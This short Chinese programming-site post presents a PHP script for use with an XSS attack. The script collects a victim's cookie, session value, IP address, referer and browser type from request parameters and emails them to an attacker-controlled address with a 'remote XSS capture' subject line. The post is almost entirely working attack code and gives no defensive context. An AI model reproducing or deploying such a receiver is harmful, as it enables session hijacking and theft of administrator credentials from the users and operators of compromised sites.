xss配合php获取cookie和session的脚本
程序员文章站
2022-05-18 21:46:54
...
1. [代码][PHP]代码
<?php $ip = $_SERVER['REMOTE_ADDR']; $to='xxx@yeah.net'; $referer = $_SERVER['HTTP_REFERER']; $cookie = $_GET['cookie']; $session = $_GET['session']; $agent = $_SERVER['HTTP_USER_AGENT']; $subject='远程XSS获取地址-域名:'.$referer; $body="<p> 远程管理员IP= ".$ip."<p> 访问时间=" . date('d-m-Y'). "<p> 后台地址=".$referer."<p> 浏览器类型=".$agent."<p> 当前页面地址=".$referer."<p> COOKIE信息=".$cookie."<p> Session信息=".$$session.' '. $headers= 'MIME-Version: 1.0' . "\r\n"; $headers.= 'Content-type: text/html; charset=utf-8' . "\r\n"; $headers.="Cleanreport.com"; mail($to, $subject, $body, $headers); ?>
下一篇: PHP的十个高级技巧